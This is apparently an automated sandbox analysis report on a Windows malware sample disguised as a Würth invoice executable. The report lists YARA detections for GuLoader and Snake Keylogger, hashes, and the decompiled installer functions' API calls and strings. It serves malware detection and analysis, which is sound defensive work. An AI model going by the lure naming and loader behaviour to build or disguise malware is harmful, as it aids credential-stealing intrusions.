File size:	1'085'283 bytes
MD5 hash:	787041CD8D6CD5E63534D1B060889A76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2534956936.0000000005BC2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:04:43
Start date:	18/10/2024
Path:	C:\Users\user\Desktop\Wuerth_factura_4052073226..exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"
Imagebase:	0x400000
File size:	1'085'283 bytes
MD5 hash:	787041CD8D6CD5E63534D1B060889A76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.3272331155.0000000002F22000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	18.7%
Dynamic/Decrypted Code Coverage:	13.7%
Signature Coverage:	20.5%
Total number of Nodes:	1535
Total number of Limit Nodes:	34

Executed Functions

Function 0040327D Relevance: 87.9, APIs: 33, Strings: 17, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032A0
GetVersion.KERNEL32 ref: 004032A6
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004032CF
#17.COMCTL32(00000007,00000009), ref: 004032F2
OleInitialize.OLE32(00000000), ref: 004032F9
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 00403315
GetCommandLineW.KERNEL32(007A7A20,NSIS Error), ref: 0040332A
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00000000), ref: 0040333D
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00000020), ref: 00403364

Part of subcall function 00406407: GetModuleHandleA.KERNEL32(?,00000020,?,004032E6,00000009), ref: 00406419
Part of subcall function 00406407: GetProcAddress.KERNEL32(00000000,?), ref: 00406434

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 0040349E
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034AF
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034BB
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034CF
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034D7
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004034E8
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004034F0
DeleteFileW.KERNELBASE(1033), ref: 00403504

Part of subcall function 0040602D: lstrcpynW.KERNEL32(?,?,00000400,0040332A,007A7A20,NSIS Error), ref: 0040603A

OleUninitialize.OLE32(?), ref: 004035CF
ExitProcess.KERNEL32 ref: 004035F0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00000000,?), ref: 00403603
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00000000,?), ref: 00403612
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00000000,?), ref: 0040361D
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00000000,?), ref: 00403629
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403645
DeleteFileW.KERNEL32(0079F6E0,0079F6E0,?,007A9000,?), ref: 0040369F
CopyFileW.KERNEL32(C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,0079F6E0,00000001), ref: 004036B3
CloseHandle.KERNEL32(00000000,0079F6E0,0079F6E0,?,0079F6E0,00000000), ref: 004036E0
GetCurrentProcess.KERNEL32(00000028,?), ref: 0040370F
OpenProcessToken.ADVAPI32(00000000), ref: 00403716
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040372B
AdjustTokenPrivileges.ADVAPI32 ref: 0040374E
ExitWindowsEx.USER32(00000002,80040002), ref: 00403773
ExitProcess.KERNEL32 ref: 00403796

Strings

Error launching installer, xrefs: 00403586
Low, xrefs: 004034D1
~nsu, xrefs: 004035FB
"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe", xrefs: 00403330, 00403336, 0040352C
NSIS Error, xrefs: 0040331B
\Temp, xrefs: 004034B5
TMP, xrefs: 004034EB
C:\Users\user\Sympodia\broletto, xrefs: 004035AC
SeShutdownPrivilege, xrefs: 00403725
C:\Users\user\Sympodia\broletto, xrefs: 00403481, 004035A1, 0040364B, 00403655
C:\Users\user\Desktop\Wuerth_factura_4052073226..exe, xrefs: 004036AE
UXTHEME, xrefs: 004032C3, 004032C8, 004032CE
C:\Users\user\AppData\Local\Temp\, xrefs: 00403493, 00403498, 004034AE, 004034BA, 004034C9, 004034D6, 004034E2, 004034EA, 00403600, 00403611, 0040361C, 00403628, 00403635, 00403644, 004036F5
1033, xrefs: 004034FF
TEMP, xrefs: 004034E3
.tmp, xrefs: 00403617
C:\Users\user\Desktop, xrefs: 00403622, 00403627, 00403654

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Wuerth_factura_4052073226..exe$C:\Users\user\Sympodia\broletto$C:\Users\user\Sympodia\broletto$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2488574733-2024596537
Opcode ID: e949afdab719bcb8c6a3662b1cfcd91416299c69e42d626bc0fbbbcba1b8b8a2
Instruction ID: 3536812e4df2a44c8c6b6ea5987ae19e001d2543839af4c9b3a673e139b837ac
Opcode Fuzzy Hash: e949afdab719bcb8c6a3662b1cfcd91416299c69e42d626bc0fbbbcba1b8b8a2
Instruction Fuzzy Hash: 79D1E5B0500311ABD720AF659D45A3B3EADEF8074AF11443EF581B62D2DB7D8E458B2E

Function 004052CB Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405329
GetDlgItem.USER32(?,000003EE), ref: 00405338
GetClientRect.USER32(?,?), ref: 00405375
GetSystemMetrics.USER32(00000002), ref: 0040537C
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040539D
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053AE
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053C1
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053CF
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053E2
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405404
ShowWindow.USER32(?,00000008), ref: 00405418
GetDlgItem.USER32(?,000003EC), ref: 00405439
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405449
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405462
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040546E
GetDlgItem.USER32(?,000003F8), ref: 00405347

Part of subcall function 00404126: SendMessageW.USER32(00000028,?,00000001,00403F52), ref: 00404134

GetDlgItem.USER32(?,000003EC), ref: 0040548B
CreateThread.KERNELBASE(00000000,00000000,Function_0000525F,00000000), ref: 00405499
CloseHandle.KERNELBASE(00000000), ref: 004054A0
ShowWindow.USER32(00000000), ref: 004054C4
ShowWindow.USER32(?,00000008), ref: 004054C9
ShowWindow.USER32(00000008), ref: 00405513
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405547
CreatePopupMenu.USER32 ref: 00405558
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040556C
GetWindowRect.USER32(?,?), ref: 0040558C
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055A5
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055DD
OpenClipboard.USER32(00000000), ref: 004055ED
EmptyClipboard.USER32 ref: 004055F3
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004055FF
GlobalLock.KERNEL32(00000000), ref: 00405609
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040561D
GlobalUnlock.KERNEL32(00000000), ref: 0040563D
SetClipboardData.USER32(0000000D,00000000), ref: 00405648
CloseClipboard.USER32 ref: 0040564E

Strings

{, xrefs: 00405531

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c972e23c5202b0790fa1fe1b116619d8512481b1e7d1e62b87371190ceff57bc
Instruction ID: 0168b2d80d6e582db7c5dd4f4bcf68d2cf71ae59161b6f31601be7c89a1652ed
Opcode Fuzzy Hash: c972e23c5202b0790fa1fe1b116619d8512481b1e7d1e62b87371190ceff57bc
Instruction Fuzzy Hash: 10B148B1800608FFDB119F64DD89EAF7B79FB49355F00802AFA41BA1A0CB785A51DF58

Function 0040604F Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,007A0F00,?,004051C3,007A0F00,00000000,00000000,007924D8), ref: 00406112
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00406190
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004061A3
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 004061DF
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004061ED
CoTaskMemFree.OLE32(?), ref: 004061F8
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040621C
lstrlenW.KERNEL32(Call,00000000,007A0F00,?,004051C3,007A0F00,00000000,00000000,007924D8), ref: 00406276

Strings

Call, xrefs: 00406079, 00406159, 0040617A, 0040618F, 004061A2, 004061BE, 004061E9, 0040621B, 00406221, 0040623B, 0040624F, 0040626F, 00406275, 00406281, 004062B4
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040615E
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406216

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 798394cd79efbf8b9b83d6ae683917ff9149f8dcce4e50bc544776fb700d76f6
Instruction ID: 0ce2904226638d20c34e96b955086165c79dcecb48fb9e3347e4958dd658327d
Opcode Fuzzy Hash: 798394cd79efbf8b9b83d6ae683917ff9149f8dcce4e50bc544776fb700d76f6
Instruction Fuzzy Hash: 1E612271A00501AADF20AF64DC44BAE37A4AF45314F12C17FE553BA2D1DB3D8AA2CB4D

Function 0040581E Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405847
lstrcatW.KERNEL32(007A3F28,\*.*,007A3F28,?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040588F
lstrcatW.KERNEL32(?,0040A014,?,007A3F28,?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058B2
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058B8
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058C8
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405968
FindClose.KERNEL32(00000000), ref: 00405977

Strings

(?z, xrefs: 00405877
C:\Users\user\AppData\Local\Temp\, xrefs: 0040582B
"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe", xrefs: 0040581E
\*.*, xrefs: 00405889

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"$(?z$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-528579584
Opcode ID: e8acaf3763d83d4db66e725d93d0558f306678b112e899a2b4ffb4116ff90c63
Instruction ID: 5c53005082933f3dff19d1f621f77edce462737186d9f3cfcfb8b04c389e649a
Opcode Fuzzy Hash: e8acaf3763d83d4db66e725d93d0558f306678b112e899a2b4ffb4116ff90c63
Instruction Fuzzy Hash: 0941E671800A04FACB216B618C89BBF7678EF42729F24813BF801751C1D77C4996DEAE

Function 00406370 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(75923420,007A4F70,C:\,00405B32,C:\,C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,0040583E,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 0040637B
FindClose.KERNELBASE(00000000), ref: 00406387

Strings

C:\, xrefs: 00406370
pOz, xrefs: 00406371

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\$pOz
API String ID: 2295610775-203238730
Opcode ID: 86473a827e26f35012b0381fcf693fd2ef81f82e4a2ea800dcb2c6bd3b2c9d2b
Instruction ID: 60bd105d0d63f37bd19194ec34bd88d590bcf70de51275853e72dc5d4e23aedc
Opcode Fuzzy Hash: 86473a827e26f35012b0381fcf693fd2ef81f82e4a2ea800dcb2c6bd3b2c9d2b
Instruction Fuzzy Hash: 85D012715181209FC7001B786E0C84B7B58AF463717264F36F4AAF12E0CB789C628AE8

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 86f003ce86a02407ad8cd2c8dfabd2ba379b727d999171188679b9ea492368de
Instruction ID: 8bff012c032b2cbcf9e7e912449e059cef7199700c9073f33937d0e239bdf0f9
Opcode Fuzzy Hash: 86f003ce86a02407ad8cd2c8dfabd2ba379b727d999171188679b9ea492368de
Instruction Fuzzy Hash: 38F082716001159BCB01EFA4DD49AAEB374EF00324F20457BE115F61D1D7B889409B29

Function 00403C19 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C55
ShowWindow.USER32(?), ref: 00403C72
DestroyWindow.USER32 ref: 00403C86
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CA2
GetDlgItem.USER32(?,?), ref: 00403CC3
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CD7
IsWindowEnabled.USER32(00000000), ref: 00403CDE
GetDlgItem.USER32(?,00000001), ref: 00403D8C
GetDlgItem.USER32(?,00000002), ref: 00403D96
SetClassLongW.USER32(?,000000F2,?), ref: 00403DB0
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E01
GetDlgItem.USER32(?,00000003), ref: 00403EA7
ShowWindow.USER32(00000000,?), ref: 00403EC8
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403EDA
EnableWindow.USER32(?,?), ref: 00403EF5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F0B
EnableMenuItem.USER32(00000000), ref: 00403F12
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F2A
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F3D
lstrlenW.KERNEL32(007A1F20,?,007A1F20,007A7A20), ref: 00403F66
SetWindowTextW.USER32(?,007A1F20), ref: 00403F7A
ShowWindow.USER32(?,0000000A), ref: 004040AE

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

